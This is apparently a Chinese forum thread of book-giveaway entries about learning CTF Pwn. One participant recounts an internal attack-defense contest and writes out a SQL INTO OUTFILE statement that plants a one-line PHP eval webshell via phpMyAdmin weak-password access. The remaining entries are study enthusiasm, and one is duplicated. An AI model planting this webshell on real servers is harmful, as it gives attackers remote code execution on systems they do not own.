自身情况：

接触过web渗透与软件逆向，但还未曾系统接触过CTF，只是上周有幸参与了公司内部组织的AWD比赛。

兴趣因素：

上周公司内部组织了一场AWD比赛，有幸获得第一名(通过取巧利用phpmyadmin弱口令登录对手后台，并修改密码使其他队伍无法利用，执行sql上传webshell，之后刷flag）感觉还是挺有意思的,故想通过《CTF竞赛权威指南（Pwn篇）(博文视点出品)》这本书了解下CTF，并根据此书为入口系统的学习下CTF-Pwn方向，希望可以有收获。

展示：

组内职责分配：我为攻击手，故我就不介绍防守的事情了

• 弱口令登录并修改密码使其它队伍无法利用

• 利用后台自身sql功能上传webshell

SELECT '<?php @eval($_POST[pass]);?>'
INTO OUTFILE '/var/www/html/tesaa.php'

• 上传成功

• 利用上传的shell成功链接

• 找到flag保存目录刷flag

在此感谢：

• 作者写出此书

• 博文视点提供此次抽奖机会

二进制在网络安全领域属于比较晦涩的部分，入门难，进阶也很难。目前市面上的CTF相关的书中PWN的部分相对比较简略，感觉就是买web赠的pwn。我自从大学开始接触pwn，几年过去了，依然没能成为pwn大佬。CTF all in one 确实是一份不错的CTF入门学习资料，之前带学弟的时候总是给他们推荐。来年打算深入pwn学习，希望能够有所建树。理想中还是想成为二进制研究员，科恩在这个领域算是国内头部团队了，他们出的书一定不会差。虽然现在在web安全岗位，但我对pwn的热情一定不可磨灭。大家一起加油！！

china 看了下今年的CTF发现自己知道的太少了，从第1题就放弃了，看了下别人文章，发现自己知道的真的太少了，太少了。另外这个印刷是错误还是啥的，有DA PRO这个软件吗？是干啥的？

china 看了下今年的CTF发现自己知道的太少了，从第1题就放弃了，看了下别人文章，发现自己知道的真的太少了，太少了。另外这个印刷是错误还是啥的，有DA PRO这个软件吗？是干啥的？

队长，我要学pwn，我要打ctf，，fighting